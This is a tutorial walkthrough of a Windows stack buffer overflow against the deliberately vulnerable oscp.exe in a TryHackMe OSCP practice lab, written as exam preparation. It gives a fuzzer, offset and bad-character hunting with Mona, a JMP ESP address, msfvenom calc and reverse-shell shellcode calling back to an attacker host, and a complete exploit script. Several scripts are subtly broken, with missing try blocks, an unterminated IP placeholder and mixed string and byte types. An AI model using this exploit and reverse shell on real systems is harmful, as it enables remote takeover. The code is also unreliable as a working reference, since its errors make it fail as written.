Buffer Overflow 101

Buffer Overflow 101


What is a Buffer Overflow?

In information security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations.

At some point of doing this attack, you could take control over EIP and upload your shellcode into the memory to spawn a shell.

BOF challenge is rated as 25 points in the OSCP exam. It might look complicated at first, but if you learned how to do it once, you will be able to do it again on the exam. In some way, it’s the easiest part of the OSCP exam if you're prepared properly. For the sake of this demo, I would use the room OSCP BOF Prep on TryHackMe made by Tib3rius.

This room is good because of several reasons:

  • You have a chance to poke the custom oscp.exe which has 10 different vulnerable to BOF inputs with different badchars and EIP offsets.

  • You have all the needed tools preinstalled there.

  • You have a variety of other “classic” vulnerable binaries there, including SLMail, brainpan, and dostackbufferoverflowgood.

  • You can spin this machine on TryHackMe’s environment for free.

This is quite a basic example of the exploitation process against the binary vulnerable to the BOF, but it doesn’t mean that it’s easy to understand from a first look. As it’s a basic BOF, you will don’t find ASLR, DEP, and Stack Canaries on those binaries.

This room uses a 32-bit Windows 7 VM with Immunity Debugger and Putty preinstalled. Windows Firewall and Defender have both been disabled to make exploit writing easier.

You can deploy the machine here and connect to it via RDP:

xfreerdp /u:admin /p:password /cert:ignore /v:<target_ip>

You can find the Immunity Debugger on the desktop. Run it As Administrator and attach the oscp.exe from C:\Users\admin\Desktop\vulnerable-apps\oscp folder.

Notice that the binary will be started but Paused by the debugger (right bottom corner of the screenshot).

To start it, you can press F9 or click the red Play button in the GUI.

Now you can connect to the machine IP via nc on port 1337:

nc <target_ip> 1337
Welcome to OSCP Vulnerable Server! Enter HELP for help.
Valid Commands:
OVERFLOW1 [value]
OVERFLOW2 [value]
OVERFLOW3 [value]
OVERFLOW4 [value]
OVERFLOW5 [value]
OVERFLOW6 [value]
OVERFLOW7 [value]
OVERFLOW8 [value]
OVERFLOW9 [value]
OVERFLOW10 [value]


In this box you could also find a Mona plugin installed, it will make the process of debugging easier.

Mona needs to be configured to save files to a folder. You can type the following command to the left bottom corner of the Immunity Debugger window:

!mona config -set workingfolder c:\mona\%p


I used the following Python script to crash the application:

import socket, time, sys

ip = "<target_ip>"
port = 1337
timeout = 5

buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect = s.connect((ip, port))
        print("Fuzzing with %s bytes" % len(string))
        s.send("OVERFLOW1 " + string + "\r\n")
        print("Could not connect to " + ip + ":" + str(port))

Let’s run this script and cause the crash of the application:

python fuzzer.py
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzing with 1900 bytes
Fuzzing with 2000 bytes
Could not connect to <target_ip>:1337

After each crash, we will need to recover the initial state of the application. You can do so by the combination of the Ctrl+F2 and F9 buttons (Rewind back and Play buttons in GUI).

Finding the offset and controlling EIP

According to the fuzzer, the application crashed somewhere after 2000 bytes were sent.

To find it out for sure, we will use pattern_create.rb script from Metasploit:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400


Note that 2400 here stands for the length of the string that we are creating. As we don’t know for sure, we will add an extra 400 to the number of bytes that the application successfully received.

Create a new exploit.py with the following script:

import socket

ip = "<target_ip>"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")

Update the payload variable with that pattern string that we just created and run the script:

python exploit.py
Sending evil buffer...

The application will crash again.

Let’s navigate to the Immunity and ask Mona for the status:

!mona findmsp -distance 2400

-distance here is the same as the length of the pattern.

We are interested in the string:

EIP contains normal pattern : ... (offset 1978)

You can also copy the value of the EIP after the crash and use another Metasploit script to find the offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP_value>

Now we know the offset of the EIP. Halfway there!

Update the offset variable in the script to this value (was previously set to 0).

We don’t need this pattern as the value of the payload variable anymore, so we can remove it.

To make sure that we can control the EIP now, let’s also update the variable retn with the value BBBB.

The script at this moment should look like this:

import socket

ip = "<target_ip>"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Could not connect.")

Run the script and check that the value of the EIP is now equal to the 42424242 (ASCII for BBBB’s).

Hunting for Bad Characters

Bad characters are bad. In most cases, this and offsets are the only things that will be different from BOF to BOF.

There are two common ways to find badchars:

  • Manual

  • with using Mona

I strongly recommend starting with mona, as this option is less time-consuming.

The following mona command will generate the bytearray:

!mona bytearray -b "\x00"

We will need it after a crash in a second. -b flag here is stands for a badchars, and so far we are not including only the null byte as it almost always a badchar.

Let’s create a list of bad characters (from \x01 to \xff), it can be done by running the following script:

from __future__ import print_function

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')


The output of this script is:


Update the value of the variable payload with it and run the script. Run the script and navigate to the Immunity one more time.

Mona can compare created bytearray with the current state of the dump. That can be done by running the command:

!mona compare -f C:\mona\oscp\bytearray.bin -a 01AAFA30

The -a flag here stands for the address of the ESP. In that case, it should be 01AAFA30.

Sometimes badchars cause the next byte to get corrupted as well, so let’s exclude each first byte from each pair.

Create a new bytearray without suspected badchars:

!mona bytearray -b "\x00\x07\x2e\xa0"

Manually remove the mentioned characters from the payload and run the script one more time. Restart oscp.exe in Immunity and run the modified exploit.py script again. Repeat the badchar comparison until the results status returns “Unmodified”. This indicates that no more badchars exist.

Finding a Jump Point

As now we are controlling the EIP and know the badchars, we can find the Jump Point.

The goal of that action is to find the equivalent of the JMP ESP command in the memory that will not have any of those badchars, otherwise, the shellcode will break.

We can once again use Mona for that:

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

The -cbp flag here stands for all the badchars that we discovered. Mona should return the result:

0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0

Note that all security mechanisms in this binary, such as ASLR and SEH, are disabled.

Since the system is a little endian, we need to write this address backward as the value of the retn variable:

0x625011af should be written as \xAF\x11\x50\x62

Pop a calc

Everything is ready to spawn calc.exe!

To do that, we will need to generate a shellcode with msfvenom:

msfvenom -p windows/exec -b "\x00\x07\x2e\xa0" -f python CMD=calc.exe EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1078 bytes
buf =  b""
buf += b"\xba\xff\x2d\xe9\xfe\xdd\xc0\xd9\x74\x24\xf4\x5e\x2b"
buf += b"\xc9\xb1\x31\x31\x56\x13\x83\xc6\x04\x03\x56\xf0\xcf"
buf += b"\x1c\x02\xe6\x92\xdf\xfb\xf6\xf2\x56\x1e\xc7\x32\x0c"
buf += b"\x6a\x77\x83\x46\x3e\x7b\x68\x0a\xab\x08\x1c\x83\xdc"
buf += b"\xb9\xab\xf5\xd3\x3a\x87\xc6\x72\xb8\xda\x1a\x55\x81"
buf += b"\x14\x6f\x94\xc6\x49\x82\xc4\x9f\x06\x31\xf9\x94\x53"
buf += b"\x8a\x72\xe6\x72\x8a\x67\xbe\x75\xbb\x39\xb5\x2f\x1b"
buf += b"\xbb\x1a\x44\x12\xa3\x7f\x61\xec\x58\x4b\x1d\xef\x88"
buf += b"\x82\xde\x5c\xf5\x2b\x2d\x9c\x31\x8b\xce\xeb\x4b\xe8"
buf += b"\x73\xec\x8f\x93\xaf\x79\x14\x33\x3b\xd9\xf0\xc2\xe8"
buf += b"\xbc\x73\xc8\x45\xca\xdc\xcc\x58\x1f\x57\xe8\xd1\x9e"
buf += b"\xb8\x79\xa1\x84\x1c\x22\x71\xa4\x05\x8e\xd4\xd9\x56"
buf += b"\x71\x88\x7f\x1c\x9f\xdd\x0d\x7f\xf5\x20\x83\x05\xbb"
buf += b"\x23\x9b\x05\xeb\x4b\xaa\x8e\x64\x0b\x33\x45\xc1\xf3"
buf += b"\xd1\x4c\x3f\x9c\x4f\x05\x82\xc1\x6f\xf3\xc0\xff\xf3"
buf += b"\xf6\xb8\xfb\xec\x72\xbd\x40\xab\x6f\xcf\xd9\x5e\x90"
buf += b"\x7c\xd9\x4a\xf3\xe3\x49\x16\xda\x86\xe9\xbd\x22"

Update your script and replace buf with payload.

As msfvenom is using an encoder to create a shellcode, we need to allocate some memory right before the payload to let it decode itself.

For that, we will create a NOP sled 16 bytes long. \x90 stands for No Operation, let’s update the value of the padding variable:

padding = "\x90" * 16

Run the exploit and spawn your calc.exe!

Spawning a shell

As now we know that the exploit is working fine, and we can execute arbitrary code on the victim machine, let’s create a shell with another msfvenom command:

msfvenom -p windows/shell_reverse_tcp LHOST=<your_ip> LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f py
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1712 bytes
buf =  b""
buf += b"\xd9\xc8\xb8\xa4\x1f\x95\x09\xd9\x74\x24\xf4\x5e\x31"
buf += b"\xc9\xb1\x52\x31\x46\x17\x03\x46\x17\x83\x62\x1b\x77"
buf += b"\xfc\x96\xcc\xf5\xff\x66\x0d\x9a\x76\x83\x3c\x9a\xed"
buf += b"\xc0\x6f\x2a\x65\x84\x83\xc1\x2b\x3c\x17\xa7\xe3\x33"
buf += b"\x90\x02\xd2\x7a\x21\x3e\x26\x1d\xa1\x3d\x7b\xfd\x98"
buf += b"\x8d\x8e\xfc\xdd\xf0\x63\xac\xb6\x7f\xd1\x40\xb2\xca"
buf += b"\xea\xeb\x88\xdb\x6a\x08\x58\xdd\x5b\x9f\xd2\x84\x7b"
buf += b"\x1e\x36\xbd\x35\x38\x5b\xf8\x8c\xb3\xaf\x76\x0f\x15"
buf += b"\xfe\x77\xbc\x58\xce\x85\xbc\x9d\xe9\x75\xcb\xd7\x09"
buf += b"\x0b\xcc\x2c\x73\xd7\x59\xb6\xd3\x9c\xfa\x12\xe5\x71"
buf += b"\x9c\xd1\xe9\x3e\xea\xbd\xed\xc1\x3f\xb6\x0a\x49\xbe"
buf += b"\x18\x9b\x09\xe5\xbc\xc7\xca\x84\xe5\xad\xbd\xb9\xf5"
buf += b"\x0d\x61\x1c\x7e\xa3\x76\x2d\xdd\xac\xbb\x1c\xdd\x2c"
buf += b"\xd4\x17\xae\x1e\x7b\x8c\x38\x13\xf4\x0a\xbf\x54\x2f"
buf += b"\xea\x2f\xab\xd0\x0b\x66\x68\x84\x5b\x10\x59\xa5\x37"
buf += b"\xe0\x66\x70\x97\xb0\xc8\x2b\x58\x60\xa9\x9b\x30\x6a"
buf += b"\x26\xc3\x21\x95\xec\x6c\xcb\x6c\x67\x99\x06\x15\xc6"
buf += b"\xf5\x14\xe9\x39\x5a\x90\x0f\x53\x72\xf4\x98\xcc\xeb"
buf += b"\x5d\x52\x6c\xf3\x4b\x1f\xae\x7f\x78\xe0\x61\x88\xf5"
buf += b"\xf2\x16\x78\x40\xa8\xb1\x87\x7e\xc4\x5e\x15\xe5\x14"
buf += b"\x28\x06\xb2\x43\x7d\xf8\xcb\x01\x93\xa3\x65\x37\x6e"
buf += b"\x35\x4d\xf3\xb5\x86\x50\xfa\x38\xb2\x76\xec\x84\x3b"
buf += b"\x33\x58\x59\x6a\xed\x36\x1f\xc4\x5f\xe0\xc9\xbb\x09"
buf += b"\x64\x8f\xf7\x89\xf2\x90\xdd\x7f\x1a\x20\x88\x39\x25"
buf += b"\x8d\x5c\xce\x5e\xf3\xfc\x31\xb5\xb7\x1d\xd0\x1f\xc2"
buf += b"\xb5\x4d\xca\x6f\xd8\x6d\x21\xb3\xe5\xed\xc3\x4c\x12"
buf += b"\xed\xa6\x49\x5e\xa9\x5b\x20\xcf\x5c\x5b\x97\xf0\x74"

Put this shellcode as the value of the payload variable and run the exploit.

Don’t forget to start a nc listener to catch the shell:

sudo nc -nlvp 4444

Final code of the exploit

In the end, your exploit code should look like that:

import socket

ip = "<target_ip"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xAF\x11\x50\x62"
padding = "\x90" * 16
payload =  b""
payload += b"\xd9\xc8\xb8\xa4\x1f\x95\x09\xd9\x74\x24\xf4\x5e\x31"
payload += b"\xc9\xb1\x52\x31\x46\x17\x03\x46\x17\x83\x62\x1b\x77"
payload += b"\xfc\x96\xcc\xf5\xff\x66\x0d\x9a\x76\x83\x3c\x9a\xed"
payload += b"\xc0\x6f\x2a\x65\x84\x83\xc1\x2b\x3c\x17\xa7\xe3\x33"
payload += b"\x90\x02\xd2\x7a\x21\x3e\x26\x1d\xa1\x3d\x7b\xfd\x98"
payload += b"\x8d\x8e\xfc\xdd\xf0\x63\xac\xb6\x7f\xd1\x40\xb2\xca"
payload += b"\xea\xeb\x88\xdb\x6a\x08\x58\xdd\x5b\x9f\xd2\x84\x7b"
payload += b"\x1e\x36\xbd\x35\x38\x5b\xf8\x8c\xb3\xaf\x76\x0f\x15"
payload += b"\xfe\x77\xbc\x58\xce\x85\xbc\x9d\xe9\x75\xcb\xd7\x09"
payload += b"\x0b\xcc\x2c\x73\xd7\x59\xb6\xd3\x9c\xfa\x12\xe5\x71"
payload += b"\x9c\xd1\xe9\x3e\xea\xbd\xed\xc1\x3f\xb6\x0a\x49\xbe"
payload += b"\x18\x9b\x09\xe5\xbc\xc7\xca\x84\xe5\xad\xbd\xb9\xf5"
payload += b"\x0d\x61\x1c\x7e\xa3\x76\x2d\xdd\xac\xbb\x1c\xdd\x2c"
payload += b"\xd4\x17\xae\x1e\x7b\x8c\x38\x13\xf4\x0a\xbf\x54\x2f"
payload += b"\xea\x2f\xab\xd0\x0b\x66\x68\x84\x5b\x10\x59\xa5\x37"
payload += b"\xe0\x66\x70\x97\xb0\xc8\x2b\x58\x60\xa9\x9b\x30\x6a"
payload += b"\x26\xc3\x21\x95\xec\x6c\xcb\x6c\x67\x99\x06\x15\xc6"
payload += b"\xf5\x14\xe9\x39\x5a\x90\x0f\x53\x72\xf4\x98\xcc\xeb"
payload += b"\x5d\x52\x6c\xf3\x4b\x1f\xae\x7f\x78\xe0\x61\x88\xf5"
payload += b"\xf2\x16\x78\x40\xa8\xb1\x87\x7e\xc4\x5e\x15\xe5\x14"
payload += b"\x28\x06\xb2\x43\x7d\xf8\xcb\x01\x93\xa3\x65\x37\x6e"
payload += b"\x35\x4d\xf3\xb5\x86\x50\xfa\x38\xb2\x76\xec\x84\x3b"
payload += b"\x33\x58\x59\x6a\xed\x36\x1f\xc4\x5f\xe0\xc9\xbb\x09"
payload += b"\x64\x8f\xf7\x89\xf2\x90\xdd\x7f\x1a\x20\x88\x39\x25"
payload += b"\x8d\x5c\xce\x5e\xf3\xfc\x31\xb5\xb7\x1d\xd0\x1f\xc2"
payload += b"\xb5\x4d\xca\x6f\xd8\x6d\x21\xb3\xe5\xed\xc3\x4c\x12"
payload += b"\xed\xa6\x49\x5e\xa9\x5b\x20\xcf\x5c\x5b\x97\xf0\x74"
postfix = ""

payloadfer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((ip, port))
    print("Sending evil payloadfer...")
    s.send(payloadfer + "\r\n")
    print("Could not connect.")